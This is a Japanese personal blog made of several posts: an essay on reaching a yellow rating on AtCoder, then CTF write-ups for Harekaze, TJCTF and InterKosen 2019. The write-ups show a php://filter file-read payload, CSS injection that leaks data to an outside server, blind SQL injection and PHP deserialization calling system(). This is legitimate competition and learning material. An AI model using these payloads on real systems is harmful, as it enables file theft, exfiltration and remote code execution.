色ポエムです。ポエムなので大抵が自分語りです。許してください。「黄色になるまでに何をしたのか」を純粋に読みたい場合は、記事を最後まで読む必要はありません。(おまけはおまけなので)

はじめに

2019/06/29に行われたABC132にて、AtCoderで黄色になりました。苦節20ヶ月、とりあえず1つのマイルストーンに到達することができたことを嬉しく思っています。

 

 

黄色になるまでにしたこと

注意 : 途中まで書いて気がついたのですが、「青下位から青中位までにしたこと」の記憶が完全に飛んでいるため、「青中位から黄色になるまでにしたこと」になっている気がします。ただ、記したことは一般論のようなものなので、概ね影響がないと思います。

問題を解く

言うまでもなく、問題を解きました。自分にとって最も効果的だった精進は、「自分がコンテストに出た時に通せたら嬉しい範囲の問題」を解くことです。レート1800台の時は700-800点程度でしょうか。以下のツイートの青くらいの範囲を二日に一問程度解ければ理想だと思います。

 

これにより実力は上がっている実感は実際のところありませんでしたが、明らかに成績は向上しています。自分の考察スタイルは論理的に詰めるのではなく、考察をとにかく手当たり次第に行って考察を進めるスタイルです。解法ガチャとか呼ばれてますね。ガチャの当たり率が上がった気がしました*1

以下のツイートは黄色になった時点での自分の精進量です。

 

精進グラフです。

f:id:keymoon:20190630222735p:plain

注意ですが、この数を真に受けないでください。自分はJOIの低難易度やABC-A/B等を全て埋めているため、相当「盛られて」います。(2018年冒頭のそれが盛った形跡ですね。)

また、自分の場合は考えることで導き出した答えがより身に入るため、解説ACは行いませんでした。その代わり、テクニックに貪欲になるよう心がけました。

面白い性質や問題を見た際、「その性質がどこまで一般的に通用するか?」ということを考えるクセを付けると良いと思います。これは「素振り典型」とか勝手に呼んでいるものとも近く、「今回の問題はこういう性質があったからこういう方法が取れたんだな!」とか思えると良いです。また、同じくアルゴリズムはできる限り抽象化して理解することをお勧めします。「累積和を二本合わせるテクはXORでも使える!GCDでも!」と個別に理解するより、「累積和を二本合わせるテクは順序を入れ替えても結果が変わらない演算*2全てに使える!」と理解したほうが効率は良いです。

勉強したアルゴリズムは例題を解くだけでなく、ライブラリを作りました。自分は比較的マイナー言語であるC#競技プログラミングをしているためライブラリは自作せざるを得なかったですが、ライブラリを書くことは確実に理解に繋がります。また、上記の抽象的な性質を捉えることの助けにもなります。

また、面白そうなアルゴリズムの記事を見つけたら貪欲に読み、理解し、ライブラリを生やしましょう。リツイートして #後で読む とするだけに留まりがちではないですか?(自戒)

メンタリティを意識する

コンテスト中の精神管理は、コンテストの成績に直結すると言っても良いであろう事項です。しかし、あまり言及を見かけません。みなさんも以下のような経験はありませんか?

  • いつもならば解けなさそうな高難易度の解が見え、緊張してしまったため自明な嘘だと見抜けなかった。
  • 残り5分で実装を終えるも緊張してデバッグが不可能になり、自明なバグを見落とす。
  • 自明であろう問題でWAを出してしまい、その後の問題が読めなくなる。
  • 順位表を見て、自分の順位の低さと推定パフォーマンスの色に動揺してしまう。

自分は全てありました。そして、これを克服できればパフォーマンスが上がることも明らかでした。

ここで、自分の行った対処を紹介します。

まず、通常時から成功体験を積むことです。高難度を何問か通せた経験があれば、コンテスト中もある程度落ち着けるようになります。また、WA判定を受けた際、できる限り平常心を保つよう心がけました。練習でもWAに動揺していたら本番でも動揺するのは当たり前です。さらに、普段の精進中にもコンテスト中に行う思考を心がけることも大切です。動揺するとどうしても頭が真っ白になり、何をするべきかがわからなくなってしまいます。普段からやるべきことを心がけていれば、自然と本番でもできるようになるものです。

自分が最もコンテスト中のメンタル管理に成功したと思った事例は、終了40分前から考え続けて10分前に考察が終わり、3分前に提出したものがTLE判定を受けた際の対処に成功したものです(画像)。これは成功体験となり、自分のメンタルの強さに対する大きな自信となりました。

f:id:keymoon:20190630233103p:plain

また、コンテスト外での精神状態も重要です。

highestを更新しない期間が(たった4ヶ月程ですが)ありました。この時は問題をコンテスト外で解いていなかった上に競プロにフォーカスしていなかったので当たり前ではありますが、コンテストに出る習慣を失わなかったのは結果として良かったと思います。継続することは衰えを減速させることが可能です。

精進に気持ちを向かわせることも大事です。ただし、これは自分があまり上手くないのでなんとも言えないです。自分の場合は「精進したい気持ちになるまで待つ」ことを心がけました。焦ると焦りが先行していいことがない気がします。寝ようと無駄に焦っておふとんの中で眠れなくなるアレと同じですね。

それと、人のやり方/言説に惑わされないようにしました。人のやり方は参考に留めるべきです。もちろんこの記事も。using namespace std;をやめるかは自分で判断することですし、解法ガチャも無証明もOEISエスパーも、自分の判断で行うべきことです。やるかを決定する過程で人の意見は当然参考にするべきですが、無条件に意見を信奉して自分を見失うことは避けた方が良いです。自分の体に合った方法を見つけましょう。

最後に

まだまだ書きたいことがあった気がしましたが、多分これくらいで十分な気がします。コンテストで使った知識を載せて終わりにしたいと思います。思いつく限り列挙しているため、抜けは確実にあります。許してください。

使った知識

 

おまけ1:茶~青色になるまで

色ポエムをそもそも今まで書いたことがないということで、青になるまでの分を書いてみました。

最初は本編に入っていましたが、あまりにも自分語りが過ぎるので分離しました。個人的にはこれよりおまけ2を見てほしいです。

競技プログラミングを始めるまで

はるか昔、Objective-CiOSアプリケーション開発の触りをやりました。思えばあの頃、塾の課題を全探索してサボっていた僕は本質的に競技プログラミングがやりたかったのかもしれません。当然競技プログラミングなんて知らない僕は次第に飽き、フェードアウトしていきました。

プログラミングを再開したのは2016年の12月です。その当時ハマっていた筐体音ゲーを家でプレイしたいという欲求からUnityに手を出します。結果としてプレイアブルなものが完成しました。ここでプログラミングの楽しさを知り、NAudioを弄ってサンプル単位でループ再生が可能な音楽プレイヤーを作ったりTwitterbotを宅鯖で運用するなどしてしました。

2017年10月初頭、以下のツイートを見かけます。

このツイートを見て「競プロ」という概念を知りました。

2017年11月初頭、文化祭が終わって労働から開放された僕は暇になります。AtCoderC#も使えることを知った僕は、競技プログラミングでもを始めようかとぼんやり思っていました。

さて、僕はその後開催されたABC077に出損ねます。これは、かの有名な「Small Multiple」による大虐殺回でした。これに出ていたら恐らく競プロを継続していないでしょう。運命に感謝。

茶色になるまで

f:id:keymoon:20190630193506p:plain

紀貫之みたいなノリでABC078に参加しました。

このコンテストはDの入力受け取りのみにしかfor文を要求されないようなコンテストで、なんと初回参加で17位を取ることができました。

f:id:keymoon:20190630200900p:plain

 完全に味を占めた僕は、こうして茶色に、競技プログラマになりました。

  • 使ったテクニック/知識 : 入出力、for文

緑色になるまで

あまり覚えていません。コンテストに継続的に参加し、無事緑まで到達することができました。

f:id:keymoon:20190630203612p:plain

水色になるまで

ここで、僕は大きな失敗を経験します。JOI予選落ちです。バチャをしていて勝率が80%程度だったため、高を括っていたら無事落ちました。残念。

ABCと間違えてARCに出たショックからTwitterアカウントを動かし始めた*3僕は、2017年最後のABCで水色になることができました。

  • 使ったテクニック/知識 : DP、シミュレーション、埋め込み*4

青色になるまで

水色になった僕は蟻本などを読み、本格的にアルゴリズムの勉強を始めました。しかし、精力的にやろうとしなかったためコンテスト3回分ほどの停滞期(?)を迎えてしまいます。

学年が上がるまでに色を変えることが目標だった僕は非常に焦り、少しずつではありますが蟻本を読み進めました。AGC→構築回→速解きと成功を重ね、恐らくこの時点での実力であった青下位に急激に突入しました。この後、その影響で青下位での停滞が続くことになります。

  • 使ったテクニック/知識 : エラトステネスの篩、imos法、UnionFind、next_permutation、テストケース特定

おまけ2:タイムカプセルのはなし

これはなに

 青になった週の僕が「ブログに書くネタにどうせ困ってそうだから」みたいな理由でタイムカプセルを遺してくれていました。生意気ですね。ありがとうございます。

正直すっかり忘れていて、さて記事を書くか!となった時に電撃が走ったかのように思い出しました。思い出した時は本当に感情が爆発しそうになりました。月並みな表現だとエモいって奴です(語彙力)。

読んでいる時に一段落ずつコメントをつけていたら、ちょうど対談のような感じになりました。ということで、対談企画と題して放流したいと思います。現代の社会通念上不適切な表現もありますが、改変するのも何かが違うと思ったのでそのままにしました。

ただ、書いていることは上述の通り記事のネタになっているため、内容の重複も多いです。要するに出涸らしですね。

本編

とりあえず、黄色おめでとうございます。青までは競プロをしていればなれて*5、黄色が実力が保証されるラインだと感じています。

ありがとうございます、本当に。それにしても、「青までは誰でもなれて」って凄いこと言ってますね。全くそんなことはないのに。実力保証されちゃった。わーい。

 

黄色が凄い人なのはどう考えても明らかなので、もし上を見て卑屈になっているなら更に上を見ることを一旦やめ、下を見てみてください。昔の自分がちっぽけに見えることでしょう。

すごい人だって すごい人だってさ。嬉しいです。レートの価値とか云々言われてますけど、あなたから見れば今でも十分凄いですよね。今の僕が橙を見るのと同じように。

まあ卑屈にはなってないですね。ということはあなたが卑屈になってるのかな?もっと素直に喜べばいいのに。でも、あなたからほぼ成長していないみたいな感覚はありました。そんなあなたから見ても十分黄色は凄いんですね。面白いです。成長できたかな。

 

グラフはどんな形でしょうか。ギリギリ掠った?調子が良くてブチ抜いた?青の頃より、更に停滞へのプレッシャーは強くなっているはずです。負けないように、そして「レートを意識しすぎるとつまらなくなる」ということを忘れないでほしいです。

 グラフね、ギリギリ掠りました。本当に2050適正って感じで、漸近していく感じで近づいていきました。これからが大変そうです。

レートを意識しているとつまらなくなる、まあそうかもしれないですね。少し前の停滞期は実際辛かったです。でも不思議と停滞に対する恐怖はないですね。一時期の停滞を克服したからかもしれません。停滞については後述します。

 

ところで、どのような精進を積めば黄になれましたか?今の僕は解説を読む癖もないですし、問題も余り解かなくなってしまいました。600点ですら通せるか怪しく、平常時なら400すら億劫で通せないことが多いです。

 精進、むちゃくちゃありきたりな質問ですねそれ。そう思ったのだけ覚えてますよ。「ありきたりな質問しか出てこない」って。
600ですら通せるか怪しく400ですら億劫、実は今でも変わってないんですよね。やっぱ成長してないじゃないか!(というか青なりたてのあなたが「600を通せるか怪しく」って、それができたら黄色ですから。目標高すぎ。)
でも、(体感は別として)実際600は安定して通せてます。確実に成長はしたんだろうなあ。
「どのような精進を積めばいいか」については次の質問が関連しそうなので、一緒に答えてしまいますね。

 

通常時にやる気を出すコツはなんですか。春への思いでしょうか?それとも、黄色に対する思い?

通常時にやる気を出すコツ、僕がうまく行ったのは、「やる気を出すというより「やる気になるまで待つ」」って奴です(眠い時に布団に潜って寝ようと努力するより、眠さを待ちつつ読書をするのと同じですね)。でもすぐやる気が出したいって?その方法は僕もまだ分からないです。ごめんなさい。
僕がやる気を出すきっかけになった話をしましょうか。これが面白くて、「春への思い」ではないんです。あなたは将来、残念ながら春合宿に行けません。怠惰なので精進をしようとせず、本番に自明貪欲を見落とします。それが悔しいのかなんなのかはわからないんですが、何故かやる気が出てきました。今でもそれは継続しています。
で、どんな精進を積んだかですよね。個人的にはこれといったものはありません。

問題を解く際、解説ACはしなくて良いです。(だってあなたは考えたものの方が頭に残るでしょう?)なので、自分が解けるか解けないかギリギリ程度の問題を考えるようにしましょう。

それと同時にやらなければいけないのは、新しいテクニックを身につけるようにすることです。これについてはアルゴリズムの話とかと繋がりますね。後述します。

 

アルゴリズムはどのようにして学びましたか?僕は構築等の地頭ゲーは得意ですよね。しかし、アルゴリズムができなければ黄には行かないはずです。

正直なところ、あなたがその後勉強して必要になったアルゴリズムはありません*6。強いて言うならセグ木で数回殴りましたが。ただ、アルゴリズム/データ構造の勉強は楽しいですよ。実際のところ。それと、恐らく橙を目指すに当たって本格的に必要になってきます。
それよりも大事なのは文字になっていない典型というか、あれです、素振り典型です。直感力とも言えます。
僕は問題を解いたり、何らかの面白いものを見たりした時に「どういう状況であればこのテクニックが使えるか」と一般化することを心がけました。累積和は結合法則云々が成立するなら使える、みたいなやつです。
ああそう、構築は割と出るようになって嬉しいですよ。ちゃんと全て通せています。それにしてもあなた、自分の地頭に謎の自信がありますね?僕はもうないです。

 

必ず青の間に停滞期は訪れている筈です。その時に、どのようにして乗り切りましたか?落ち込んだのはそうですが、気持ちを切り替えることはできましたか?

停滞期ですか…ありましたねぇ。というかJOI後の数ヶ月以外は全てが停滞期でした。
Highestを更新できない期間がとても長いのは本当に心がしんどくなります。ただ、そういう時でもコンテストに出続けました。まだコンテストは楽しいと思えていたので。継続は大事。精進もせずに怠惰に出るのは決して悪いことではありません。いつか成功し、やる気が戻るきっかけとなったりします。

 

勉強など他のするべきこととの両立はできたでしょうか。もしできてないなら、流石にマズいので頑張ってください…

お前お前お前お前~! 言うじゃないですか。分かってるじゃないですか。そうなんですよ、できてないんですよ。マジヤバい。
いや今日でTwitter控えるんで。マジで。明日から本気出ーす。

 

最後になりますが、とりあえず大学卒業までに橙になれると嬉しいですね。応援しています。

これ本気で思ってますか? 去年*7中に黄色とかあなたが言っていたのを覚えているので、その目標が達成できなかったときの精神安定の為に書いたとか。
深読みしすぎか。だとすると、この目標はぶれてないですね。大学卒業までに橙。方針通りに進めているのかもしれません。
頑張ります。まずは受験の方をですけどね。

最後に

過去と現在の深夜ポエムを晒してしまいました…(絶対後悔する。)

タイムカプセル、いいものですね。普段は客観視することができない自分を客観視することができました。もう少し話を聞きたかったな、って思ったりしました。

*1:ちなみにくじ引きサイクルというゲームはガチャの当たり率を上げて当たりを引くことが目標のゲームです。時間が溶けるので絶対にやるべきではありません。自分の最終リザルトは黃229個です。

*2:これを「結合的な演算」または「結合法則が成立する」と呼びます。セグ木に載るやつですね!

*3:当該ツイート(リンク)、しかもパフォ1955の大成功でした。なに凹んでるんだ。

*4:素数リストをネットから落としてきて埋め込み、エラトステネスの篩を使わずに通しました。

*5:これが不適切な表現です。青になりたてで卑屈になってるだけです。全くそんなことはないと思います。許してください。

*6:これは嘘で、BinaryHeapの実装(C#にはないため)、行列累乗が役立ちました

*7:青になった年と同じ年

Harekaze CTF 2019 Write-Up

概要

2019年5月18日~5月19日にかけて開催された、Harekaze CTFのWrite-Upです。

所属しているチーム「生活習慣崩壊ズ」は7問通して910点を獲得し、28位となりました。そのうち、自分は4(+1)問通し、500(+100)点を獲得しました。

ここでは、自分の通した問題についての解法を記したいと思います。

ONCE UPON A TIME(Crypto 100pts)

鍵となる行列keyがあり、フラグを5×5行列に整形した行列flagについてflag×key又はkey×flagが与えられる(これをcryptoとする)。この演算は251(素数)で割った剰余環上で行われる。

素数mod上での積には逆元があるので、当然逆行列を考えることもできる。 逆行列の求め方はいろいろあるが、余因子行列の各要素を行列式で割る求め方が最も良いと思う(逆元を適用させやすいため。)

嬉しいことに、keyとなる行列には逆行列が存在した。これをkey^-1とすると、crypto×(key^-1)又は(key^-1)×cryptoのどちらかがflagとなることがわかる。これを計算すると、求めたいflagが出てくる。

Encode & Encode(Web 100pts)

  JSON形式で指定したファイルパスからfile_get_contentsで読み込んだファイルがクライアントに渡される。file_get_contentsにパス文字列には以下のようなバリデーションが掛けられていて、さらにクライアントにファイルを渡す前に正規表現でフラグに該当する部分が削除されるようになっている。フラグは/flagにあるので、ここをなんとかして読み込めたら勝ち。

f:id:keymoon:20190519144301p:plain

まず、/flagを読み込むことを考える。JSON形式の文字列を一度パーサに通しているため、おそらく何らかのエスケープをしておいてもエスケープを戻してくれるだろうと推測する。いろいろと実験をすると、unicodeエスケープ(\u0000)を戻してくれそうだと分かる。よって、{page:"\u002f\u0066\u006c\u0061\u0067"}のようなクエリを投げる。すると、{"content":"HarekazeCTF{<censored>}"}と検閲済みのflagが帰ってくる。元の情報を損なわない形で整形なり切り取りなりをして正規表現/HarekazeCTF\{.*}\/をすり抜けるようにすれば良いと分かる。

PHPにはフィルタと呼ばれる機能があり、php://filter/convert.base64-encode/resource=[resource]とするとリソースをbase64エンコードして返してくれる。これを使い、php://filter/convert.base64-encode/resource=/flagunicodeエスケープしたものを投げつけて終わり。

[a-z().](Misc 200pts)

JSFuck等の縛りJS系問題。制約は問題名の通りで、英小文字と()、ピリオドのみ使用可能。

この制約の下、(数字の)1337と評価されるJavaScriptを200字以内で書けたら勝ち。

まず使えるオブジェクトを列挙する。JavaScriptは悪魔的な言語なので、起点となるオブジェクトがあれば大抵なんでもできる(要出典)。よって、起点となるオブジェクトを探す。グローバルが空になっているため、通常の環境のようにいろいろと使えるわけではない。調査の結果、eval,console,escape,unescapeあたりが使えそうだと分かった。

1337を生成する方針として、文字列としての"1337"から生成することとする。これはNumberのコンストラクタに入れることで実現でき、コンストラクタはその型のオブジェクトから取得することができるからである。

次に、文字列を生成する方法を考える。流石に1337という文字列が落ちている筈もないため、一文字ずつ生成してから空文字列に対して.concatをしていくアプローチを取りたい。

空文字列はs.substr(s.length)とすることによって取得できるため、どこかにある文字列を使えば良い。これには、eval.nameが最も短く済みそうである。よって、空文字列はeval.name.substr(eval.name.length)として取得できる。

次に、concatする各"1","3","7"について探す。JavaScriptはキャストを結構緩めにやってくれるので、これらはStringでなくNumberでも良い。様々な調査の結果、1eval.length3console.log.name.length7console.context.name.lengthを使うこととした。 最後に、今までの結果を纏めてあげる。

eval.length.constructor(eval.name.substr(eval.name.length).concat(eval.length).concat(console.log.name.length).concat(console.log.name.length).concat(console.context.name.length))

これは180byteなので、制約に収まる。

Avatar Uploader 1(Misc 100pts)

finfo_filepngかつgetimagesizeのimagetypeがpngでないようなものを出せば良い。 finfo_fileシグネチャのみを判定しているため、シグネチャだけ合っていてimagetypeがバグるような「画像」を突っ込めば良い。 具体的には、以下のようなバイナリを突っ込んだ。

f:id:keymoon:20190519032438p:plain

Twenty-five

ppencodeのコードが換字式暗号でスクランブルされた状態で渡されるので、デコードしなさいという問題。換字式暗号パートの本質部分は自分ではなく漁師が片付けたが、なぜか実行しても上手く実行されなかった。

ということでppencodeに掛けた状態のものをデコードする作業をすることになった。まず、ppencodeのエンコーダを探してエンコード方法を確認する。少し探すと、

shinh.skr.jp

ここによって実行されていることがわかった。ソースを読む。すると、"$_="";v112.114.105.110.116.32.49"といったソースに整形されるような式を評価し、もう一度評価することによって実行を実現しているようだ。

f:id:keymoon:20190519054803p:plain

置き換え部分のロジックを読むと、ピリオドの部分と数字の部分が交互に出てきていることが分かる。数字は個別に置き換わっているようなため、置き換えている配列を確認する。すると、綺麗に文字数が1ずつ増えていることがわかる。

f:id:keymoon:20190519054305p:plain

数字と何文字差があるかは実行時の乱数依存だが、コードに必ずといってもいいほど含まれる空白はコードポイントが32で、これは通常のコードに含まれる文字のうち最小であることから差分が推測できる。

このようにしてコードを復元すると、

my $flag="ViZGUiyGEON{Gq.zeUeQGtei.FZd/zeUe/NZGToGqvR_iqipRheh}";$flag=~y/raEKcNnVMSwJgCbLAfmOuIsBWliXvtGxdHekUpjqFQTZhPoDzYRy ouvqriklpzawthxgfnbjcmdsye/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/;print $flag;

となる。これを実行し、フラグHarekazeCTF{en.wikipedia.org/wiki/Frequency_analysis}を得た。

感想

今回はそこまで真面目に参加できなかったが、様々な問題を解けてよかった。特に、縛りJSの問題は前から挑んでみたいと思っていたためとても面白かった。相変わらずだが、binary方面に全く手を出せないのが悲しいのでそこの力もつけていきたいと思った。

TJCTF2019 Write-Up

概要

2019年4月6日~4月10日にかけて開催された、TJCTFのWrite-Upです。

所属しているチーム「生活習慣崩壊ズ」は26問通して1245点を獲得し、11位となりました。そのうち、自分は16問通し、700点を獲得しました。

ここでは、自分の通した問題についての解法を記したいと思います。

 

Blurry(Web 5pts)

f:id:keymoon:20190410145908p:plain

はい
f:id:keymoon:20190410145846p:plain

Touch Base(Crypto 5pts)

Decode this string for an easy flag!

Encoded: dGpjdGZ7ajJzdF9zMG0zX2I0c2U2NH0=

Base64ですね。

MC Woes(Forensics 5pts)

マインクラフトのセーブデータが落ちてきます。セーブデータエディタで色々覗いていると、壊れていて開けないファイルがあることがわかります。バイナリエディタで見てあげると、Flagが下の方に書かれていることがわかりました。

Sportsmanship(Crypto 10pts)

It is simply this: do not tire, never lose interest, never grow indifferent—lose your invaluable curiosity and you let yourself die. It's as simple as that.” “I'm a liar and a cheat and a coward, but I will never, ever, let a friend down. Unless of course not letting them down requires honesty, fair play, or bravery.

ciphertext: ROEFICFEENEBZDLFPY

key: UNPROBLEMATICDFGHKQSVWXYZ

 fair playが太字になっています fair play cipherとかで検索をすると、Playfair cipherなるものを見つけられます。デコーダにブチ込むと平文が出てきました。

Guess My Hashword (Crypto 10pts)

I bet you'll never guess my password!

I hashed tjctf{[word]} - my word has a captial letter, two lowercase letters, a digit, and an underscore. ex: hash('tjctf{o_0Bo}') or hash('tjctf{Aaa0_}')

Here's the md5 hash: 31f40dc5308fa2a311d2e2ba8955df6c

 探索空間が狭そうなので、ブルートフォースをすれば良さそうです。

Corsair(Forensics 5pts)

f:id:keymoon:20190410150916j:plain

ぐっと睨むと左上の方に薄く黄色いエリアがあることが何となく分かって、フラグが見えます

色調補正をぐりぐりすると見えるようになりました。

f:id:keymoon:20190410151236p:plain

BC Calc(Forensics 80pts)

ドキュメントファイルが落ちてきます。

f:id:keymoon:20190410151549p:plain

閉じ括弧や開き括弧の存在、TJCTFという文字を構成できることから恐らくこれを何らかの順序で並び替えることでフラグになるんだろうなと予想できます。最初は

イメージを置いた順(名前)かと思ったのですが、どうやら違うようです。

f:id:keymoon:20190410151736p:plain

少し考えると、画像の整列順(一番上に移動みたいなやつ)がそれっぽいかもしれないとわかります。

すべての画像を同じ場所に重ね、上から取って並べていくとフラグが出てきました。

SOS(Forensics 70pts)

Help! I swiped this off some extraterrestrial musician's laptop, but I think I'm getting trolled. I tried to intercept their communications, but their frequency is just too high. There's something wrong, but I just can't put my ear on it...

高周波に何かありそうと書かれていたため、高周波を見ます。サンプリングレートが44100hzのものは最高周波数が22050くらいになるので、そこらへんをMaxに表示させてあげます。

そうすると、見事に何かありました。

f:id:keymoon:20190410152353p:plain

そこを拡大表示するとモールス信号っぽいみたいなことが分かるため、手で符号に起こしました。

それをデコードするといい感じの文が出てきてくれて、

f:id:keymoon:20190410152729p:plain

flag部分がflagです。

余談

システムの不具合で正答が判定されず、更に一度判定されたflagはチェッカーに掛けられないらしいのでいつまで経っても合いませんでした。幸い、tjctf{}の外の部分は判定機に掛けられない仕様のお陰で tjctf{}: と余計な物を後ろにつけたりして回避できました。

f:id:keymoon:20190410153125p:plain

 Sight at Last(Misc 100pts)

nc p1.tjctf.org 8005 にアクセスすると、

To get the flag, solve a hundred captchas in 500 seconds!
Find the minimum distance between the centers of two circles to continue:
[base64

 と言われます。base64をデコードすると(シグネチャより)画像っぽいことが分かるので、画像として保存をするとこんな画像が出てきます。

f:id:keymoon:20190410154217p:plain

「円の中心の最小距離を求めよ」の意味が分かったので、ソルバを書きます。全ての黒の連結成分を検知し、重心を求めて全探索みたいな方針でいきました。

以下ソースコードです(相当汚いですけど…):

 

gist.github.com

Journey(Misc 20pts)

 ncで繋いで返答をオウム返ししていくだけなのですが、正答に辿り着くまでは6万ステップほど掛かってしまって到底タイムアウトまでには間に合いませんでした。

漁師が途中の返答をもう一度行うとその状態までスキップできることを見つけたので、コネクションが切れたら繋ぎ直してリストアするようにコードを書き直して行けました。

Moar Horse 2(Web 70pts)

f:id:keymoon:20190410154859p:plain

BACKWARD FORWARDのどちらをクリックしても同じデザインのページに行き着きます。URLは違うっぽいので、それのみが別のページであるということを示してくれています。

とりあえず探索がしたくなったので雑にBFSを打ち、1時間くらい待って深さ14、探索回数12000回くらいまで潜ったところで見つかりました。流石に嘘解法を疑いました…

gist.github.com

Rockstar Certified(Misc 50pts)

Rockstarとかいう謎言語のソースと出力が落ちてくるので、入力を見つけなさいという問題。インターネット上に落ちているトランスパイラを拾ってきてPythonにトランスパイルして読めるようにした後、解空間が小さそうだなみたいなことがわかったので入力を全探索しました。

Mind Blown(Forensics 30pts)

f:id:keymoon:20190410160220p:plain

Exif入れ子になってそうだなあみたいな感想を持ちました。一番内側の部分を取ってあげるとフラグの画像が出てきました。

All the Zips(Forensics 20pts)

zipが140個くらいあり、その中のどれかに入っているflag.txtがflagでした。

ネット上にある辞書を落としてきて、1時間位辞書攻撃をさせてると正解のzipを解凍してくれました。

Security through Ergodicity(Forensics 120pts)

あるチャットアプリのサーバー実装とクライアントでのpcapが落ちてきます。

サーバー実装を読んでいると、なんとRandomを一秒刻みのUnixTimeで初期化しています(これマジ?)

クライアントのpcapを呼んでいると当然接続先が分かるので、そこにアクセスするとクライアントサイドの実装も取得することができました。(当然サーバー側の実装をデコードするようなものだったのですが、一から書くのはめんどくさかったのでありがたいです。)

クライアントの実装を改造し、UnixTimeを全探索してRandomのseedの特定を試みるコードを作成し、通信が行われた時のseedを特定しました。

httpで通信していたため全てのメッセージは残されていたので、当時の通信を(手作業で)復元し、チャットの履歴を読むことができました。

Moar Horse 3(Web 100pts)

(一部の文字はエスケープされるが)任意のCSSをHTMLに埋め込めるというもの。

<h1 class="lead flag" value="You're not an admin! If you were, this would be the flag.">Welcome to my awesome website!</h1>

みたいな記載があったため、show-adminで送りつけた時にここのvalueを抜けば良いことが分かります。これはSECCONのQualで通し損ねた部分と同じCSS Injectionでした。

graneed.hatenablog.com

ただし、この時のように視覚的な情報は得られないため、他の手段で情報を取得する必要があります。

background-image:url(https://hoge/)

みたいにすることにより、外部に対してリクエストを送りつけることができそうです。よって、.flag[value^=hoge]{background-image: url(hoge.png)}みたいなリクエストを自サーバーに送ればいい事がわかります。

解いた時点では小分けで文字毎にCSSを送っていますが、今考えると一度で全てのCSSを送りつけても良かったですね…。

以下ソースです。

gist.github.com

感想

Moar Horse 3を解いた翌日、高熱を出して一日寝込んでしまいました…。(徹夜でCTF、やめよう!)

これがなければ詰めきれていない問題ももう少し解けていたであろうと思うと悔しい限りです。

 

InterKosenCTF Write-Up

概要

2019年1月18~20日にかけて開催された、InterKosenCTFのWriteUpです。

所属しているチーム「生活習慣崩壊ズ(seikatsukowareru)」は1850点を獲得し、5位となりました。そのうち、自分は5問通して900点を獲得しました。

自分の通せた5問について解法を記したいと思います。

Gimme Chocolate(Web 100pts)

brainfuckで特定の文字列を出力できたら勝ち。ただし、ソースに文字制限(100文字)があるので、どうやっても正当ソース(400文字)を捩じ込めない模様です。

//However, looking into the details, there are some differences. Be careful!

インタプリタのところに上記の記述があったので、最初にそこを見ました。メモリがリングになっているだけで、脆弱性はまったくありませんでした。

投稿されたソースはすべての人に見えるようになっているため、投稿によるものでないと考えます。恐らく外部からソースを注入する、または出力せずに何らかの方法でフラグにアクセスするのだろうと思いました。

ざっと見ていると、

$code file_get_contents($_GET['file']);

とありました。公式レファレンスを見ると、file_get_contentsはURLからも取得できるようです。以下のGistのrawデータを投げ、通しました。

gist.github.com

lights out(Cheat 100pts)

exeで(たぶん)クリア不可能なゲームが落ちてくるので、クリアしてくださいという問題。(ゲーム内容:クリックしたら周り3*3マスの色が反転するので、全て点灯させたら勝ち。)

f:id:keymoon:20190121003630p:plain

ゲーム画面

exeで落ちてくるのは相当珍しいので、恐らくC#的なそれなのかなあと想像。とりあえずILSpyに入れてみると、いい感じで開けました。

ただし、変数名がハングルに置き換わっている、文字列が動的生成になっている等の難読化が施されています。

そこまで酷い難読化ではなさそうなので、適当にフラグを表示する部分を探していました。すると、以下の関数が怪しそうだと感じました。恐らく全てのマスについて点灯していることを確認したらメッセージボックスを出しているのでしょう。

f:id:keymoon:20190121003445p:plain

怪しい関数

メッセージボックスの引数にあるFlagと思われる文字列は謎の関数の返り値となっています。なので、この関数を見てみます…

謎の関数

なんだこれ。stringを返しているのかと思いきやValueTuple('(int,int,int)'の部分)を返している…?(何も分からない。)

しかし、実はこれが関数呼び出しであるということがわかります。

適当に関数名をつけたりして実行できる形にしたものが以下です。

gist.github.com

これを普通に実行し、str2()の戻り値を表示させてあげると、フラグが出てきます。

Secure Session(Web 200pts)

PHPのSessionHandlerを継承した自前セッションハンドラのデモが与えられます。flagがどこにあるかはわかりません。

このハンドラはAESを用いてセッションに入る文字列を暗号化しています。暗号利用モードはCBC、まあまあ弱い奴です。

なので、これの脆弱性をつく問題なのかな、と考えました。しかし、どうやら違うようです(偽装できない上、これでセッションを偽装できたところで何の利益もないので。セッションに保存されている情報はアクセスカウンタのみです。)

しかし、セッションハンドラのセットアップを省略するため、クライアントにシリアライズされたセッションハンドラを渡し、二回目以降はそれを利用してセットアップを行っています。

ダメそうなコード

つまり、クライアント側で$handlerに入るオブジェクトをある程度自由に変更できるというわけです。シリアライズされているhandlerは以下のように作られています。

シリアライズされるデータはSecureSessionに紐付いている全てのオブジェクトなので、ここで宣言されている変数全てが変更可能となります。

handlerのセットアップ部分。

set_cryptoでhandlerが用いる暗号化/復号化関数を設定しています。これはSECRET_KEY,messageを引数として取り、暗号化/復号化した結果を返すものです。

アクセス時に呼ばれる関数なので、この関数を改造して上手いことできれば嬉しそうだとわかります。

先程も言ったとおり、setした関数にはkeyと文が渡されます。つまり、第一引数であるkeyは自由に設定ができるということです。よって、encryptにコマンドを自由に実行できるsystemを指定し、SECRET_KEYをls(ディレクトリにあるファイルを一覧表示するコマンド)としました。

 ローカルでシリアライズしたものを送りつけると、いい感じで出てきてくれました。

f:id:keymoon:20190121011901p:plain

/hOI_the_flag_is_hereにアクセスし、おわりです。

Login(Web 250pts)

adminとしてログインさせる問題です。

ソースを読むと、サニタイジングをせずにSQLに突っ込んでいるところが存在しました。明らかにSQL Injectionが刺さります。

ここで、2つの方針が浮かびます。adminのパスワードを当てる方法、passwordに返した値とパスワード自体が同じ、または同じMD5になるような値を探す方法があります。

大体は後者を取っているようですが、私は前者を取りました。

0からfまでをパスワードとして持つアカウントを取り、そのアカウントのパスワードよりadminのパスワードのn文字目が大きければログイン成功、そうでなければ失敗というSQL文になるようにユーザー名を設定しました。その成否で二分探索を行い、パスワードを特定しました。

ソースは以下です。

gist.github.com

anti cheat(Cheat 250pts)

Canvasで実行されるゲームです。JSがこれでもかと言うほど難読化されています。高スコアを取れば勝ちなようです。

まず、どこから手を付けてよいかわかりませんでした。ということで、ステップバイステップ実行をし、描画が切り替わる際に実行されている関数を発見しました。

そこにブレークポイントを打ち、フレーム毎の実行を可能にしました。現在の目標は高スコアを取ることなので、スコアの改竄を考えます。

